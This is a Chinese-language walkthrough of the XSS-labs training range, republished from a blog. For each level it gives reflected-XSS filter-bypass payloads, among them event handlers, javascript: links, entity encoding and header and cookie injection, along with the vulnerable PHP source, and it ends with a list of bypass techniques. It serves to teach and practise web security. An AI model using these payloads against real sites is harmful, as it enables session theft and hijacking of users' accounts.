ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XSS-labs靶场通关

2021-09-22 11:34:51  阅读:243  来源: 互联网

标签:XSS xss 标签 alert labs &# 测试 靶场 源码


XSS-labs


靶机项目地址:https://github.com/do0dl3/xss-labs

XSS测试流程


  • 在目标上找输入点,比如查询接口、留言板

  • 输入一组 “特殊字符(>,',"等)+唯一识别<>字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

  • 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

  • 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

level-1


简单测试

name可以存在注入,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr)ipt>

代码审计

<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";//没有对$str进行过滤,直接将$str拼接页面中
?>

ini_set("display_errors", 0) //不显示错误报告

源代码将payload直接拼接,无过滤,存在反射型XSS(get)漏洞

windows.alert函数进行重写了,弹窗后,自动跳转level-2

level-2


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"<>'$&#<scri_pt>/\

网页源码

绕过分析

查看网页源码,发现h2标签被编码,猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理,但是没有对标签进行编码,只需要将属性的引号和标签先闭合 就可以了

#测试时,将标签中_删除
"><scr_ipt>alert(11)</scr_ipt>//
" onclick="alert(1)"

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">//没有对$str进行过滤,直接将$str拼接页面中
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

level-3


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"<>'$&#<scr_ipt>/\

网页源码

绕过分析

<>、&、被转义,单引号、/\未被被转义,所以使用单引号绕过

' onclick='alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'> //对$str进行html编码
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

level-4


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"<>'$&#<scr_ipt>/\

网页源码

绕过分析

发现对keyword的参数中<>替换为空,使用没有<>的payload进行绕过

" onclick="alert(1)"

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//将<>进行替换为空
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-5


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"><scr_ipt>alert('xss')</scr_ipt>//

网页源码

绕过分析

对on和<script进行替换为o_n和<scr_ipt,没有对script进行替换,闭合标签和属性,使用构造超链接payload

对on和<script进行替换为o_n和<scr_ipt

#测试时,将标签中_删除
"><a hr_ef='javascript:alert(1)'>
"><a hr_ef='javascript:alert(1)'>//
"><a hr_ef='javascript:alert(document.cookie)'>//

代码审计

<?php 
ini_set("display_errors", 0);
//将字符串转成小写
$str = strtolower($_GET["keyword"]);
//对on和<script进行替换为o_n和<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-6


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
"><a hr_ef='javascript:alert(1)'>

网页源码

" onclick="alert(1)

网页源码

绕过分析

对href、on、,<script进行替换hr_ef、o_n、,<scr_ipt

  • 大小写

  • 重复写

  • 编码绕过

#测试时,将标签中_删除
"><a Hr_ef='javascript:alert(1)'>
" Onclick="alert(1)
"><Scr_ipt>alert('xss')</scr_ipt>//
"><im_g Src=x one rror=alert('XSS');>//

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//对href、on、,<script、src、data进行替换hr_ef、o_n、,<scr_ipt、sr_c、da_ta
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-7


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

" Onclick="alert(1)

网页源码

绕过分析

将script和on大小写都替换为空,通过测试,发现对script和on只替换一次,

  • 重复写
#测试时,将标签中_删除
"><scrscriptipt>alert('xss')</scrscriptipt>//
" oonnclick="alert(1)
"><im_g srsrcc=x oonnerror=alert('XSS');>//

代码审计

<?php 
ini_set("display_errors", 0);
//转化成小写
$str =strtolower( $_GET["keyword"]);
//对href、on、,<script、src、data的大小写都替换空
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-8


简单测试

添加链接,尝试伪协议,进行测试

javascript:alert(1)

网页源码

JavaScript:alert("1")

网页源码

绕过分析

发现对进行大小写转化并替换<scr_ipt>、</scr_ipt>

对"进行html编码,无法双写绕过,尝试html编码绕过

javascript:alert(1)
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

代码审计

<?php 
ini_set("display_errors", 0);
//转化成小写
$str = strtolower($_GET["keyword"]);
//对href、on、,script、src、data、"替换为hr_ef、o_n、scr_ipt、sr_c、da_ta、&quot
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
//把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>


level-9


简单测试

添加链接,尝试伪协议,进行测试

javascript:alert(1)

网页源码

绕过分析

查看源代码

需要payload中存在http://,重新构造payload,编码注入

javascript:alert(1)//http://
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
//对href、on、,script、src、data、"替换为hr_ef、o_n、scr_ipt、sr_c、da_ta、&quot
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
//判断输入字符串是否存在http://
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

leve-10


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

绕过分析

发现对keyword参数进行html编码,存在隐藏的表单,尝试提交t_link、t_history、t_sort变量,t_sort变量返回在了html的value中,尝试进行了绕过

http://192.168.132.132/xss-labs-master/level10.php?keyword="text" onclick="alert(1)&t_link="text" onclick="alert(1)&t_history="text" onclick="alert(1)&t_sort="type="text" onclick="alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>//对$str进行html编码
<form id=search>
//type="hidden"   隐藏域在页面中对于用户是不可见
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-11


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

绕过分析

发现对keyword参数进行html编码,存在隐藏的表单,尝试提交t_link、t_history、t_sort变量、t_sort变量、t_ref变量返回在了html的value中,尝试进行了绕过

http://192.168.132.132/xss-labs-master/level11.php?keyword="text" onclick="alert(1)&t_link="text" onclick="alert(1)&t_history="text" onclick="alert(1)&t_sort="type="text" onclick="alert(1)t_ref="type="text" onclick="alert(1)

分析网页源码和请求头,发现Referer字段和网页源码名为t_ref的标签的value属性相同,存在XSS注入的可能

" type="text" onclick="alert(1)
" type="text" onm ouseover="alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接受REFERER字段
$str11=$_SERVER['HTTP_REFERER'];
//对REFERER字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-12


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

请求头

绕过分析

通过分析网页源码和请求头,发现t_us的标签的value属性内容为系统版本浏览器的版本,可能存User-Agent字段的XSS注入

" type="text" onclick="alert(1)
" type="text" onm ouseover="alert(1)

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接收USER_AGENT字段
$str11=$_SERVER['HTTP_USER_AGENT'];
//对USER_AGENT字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-13


简单测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

请求头

绕过分析

通过分析网页源码和请求头,发现t_cook的标签的value属性内容为请求头的cookie,可能存cookie字段的XSS注入

user=" type="text" onclick="alert(1)
user=" type="text" onm ouseover="alert(1)

代码审计

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
//接收cookie字段
$str11=$_COOKIE["user"];
//对cookie字段进行<>过滤
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-14


网页源码发现调用ifrname框架引用http://www.exifviewer.org/访问失败,无法进行测试

这关主要考察exif xss漏洞,具体可以参考前辈的文章:exif xss

level-15


简单 测试

http://192.168.132.132/xss-labs-master/level15.php?src=1.gif

根据返回的源代码判断,src存在注入点

绕过分析

构造poc,并未触发xss,ng-include属性一直未生效,原来是调用的js文件中有地址被墙了,需要源代码中修改js源文件路径 https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
ng-include本地文件包含,调用本地有xss漏洞的文件,触发xss

ng-include本地文件包含,调用本地有xss漏洞的文件,触发xss

#测试时,将标签中_删除
'level1.php?name=<ima_ge src=x one rror=alert(1)>'

代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
//对$str进行html编码
//ng-include本地文件包含
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

level-16


简单 测试

尝试payload,进行测试

#测试时,将标签中_删除
<scr_ipt>alert('xss')</scr_ipt>

网页源码

#测试时,将标签中_删除
'<>"<scr_ipt>\</scr_ipt>#$&

网页源码

绕过分析

测试注入,发现对script、/、空格进行替换

需要使用回车符%0a进行绕过

#测试时,将标签中_删除
<ima_ge%0asrc=x%0aonerror='alert(1)'>
<a%0atype="text"%0a"alert">

代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
//对script、 、/、  进行替换
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("  ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

level-17


http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02=b

简单 测试

尝试payload,进行测试

#测试时,将标签中_删除
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02='<>"<scr_ipt></scr_ipt>/\

网页源码

绕过分析

对参数进行html编码,使用中src属性嵌入插件,其中src属性不需要闭合,使用空格隔开,使用onmouseover事件进行绕过

注:该关卡使用IE浏览器

http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02= onm ouseover=alert(1)
http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02= onm ouseout=alert`1`

代码审计

<?php
ini_set("display_errors", 0);
//使用<embed>中src属性嵌入插件
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level-18


http://192.168.132.132/xss-labs-master/level17.php?arg01=a&arg02=b

简单 测试

尝试payload,进行测试

#测试时,将标签中_删除
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02='<>"<scr_ipt></scr_ipt>/\

网页源码

绕过分析

和level-18没有区别

注:该关卡使用IE浏览器

http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onm ouseover=alert(1)
http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onm ouseout=alert`1`

代码审计

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level-19


参考大佬文章[xss-labs 第19关](https://blog.csdn.net/u014029795/article/details/103213877?ops_request_misc={"request_id"%3A"159547621119725219908275"%2C"scm"%3A"20140713.130102334.."}&request_id=159547621119725219908275&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v4-2-103213877.first_rank_ecpm_v3_pc_rank_v4&utm_term=xss-labs 19&spm=1018.2118.3001.4187)

level-20


参考大佬文章[xss-labs 第20关](https://blog.csdn.net/u014029795/article/details/103217680?ops_request_misc={"request_id"%3A"159547621119725219908275"%2C"scm"%3A"20140713.130102334.."}&request_id=159547621119725219908275&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v3~pc_rank_v4-1-103217680.first_rank_ecpm_v3_pc_rank_v4&utm_term=xss-labs 19&spm=1018.2118.3001.4187)

总结


注:测试时,将标签中_删除
1.利用<>标记,构造<scr_ipt>标签可执行javascript的xss代码。

xss过滤函数需过滤<><scr_ipt></scr_ipt>等字符。

2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。

xss 过滤函数需过滤JavaScript等关键字。

3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。

xss 过滤函数需过滤&#\等字符。

5.利用事件处理函数,触发事件,执行xss代码。例如<im_g src='#' one rror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

6.利用css执行javascript代码

css代码中利用expression触发xss漏洞。如下所示:

<di_v style="width: expression(alert('xss'));>

<im_g src="#" style="xss:expression(alert(/xss/));">

<sty_le>body {background-image:expression(alert("xss"));}

<di_v style="list-style-image:url(javascript:alert('xss'))">

css代码中利用@import触发xss

<styt_le>

@import 'javascript:alert("XSS")';

css代码中使用@import和link方式导入外部含有xss代码的样式表文件

<lin_k rel="stytlesheet" href="http://www..com/a.css">

<styt_le type='text/css'>@import url(http://www..com/a.css);

xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/** /混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

参考文章

https://www.cnblogs.com/xiaomeng2333/p/11595786.html

XSS挑战之旅---游戏通关攻略

标签:XSS,xss,标签,alert,labs,&#,测试,靶场,源码
来源: https://www.cnblogs.com/confidant/p/15313388.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有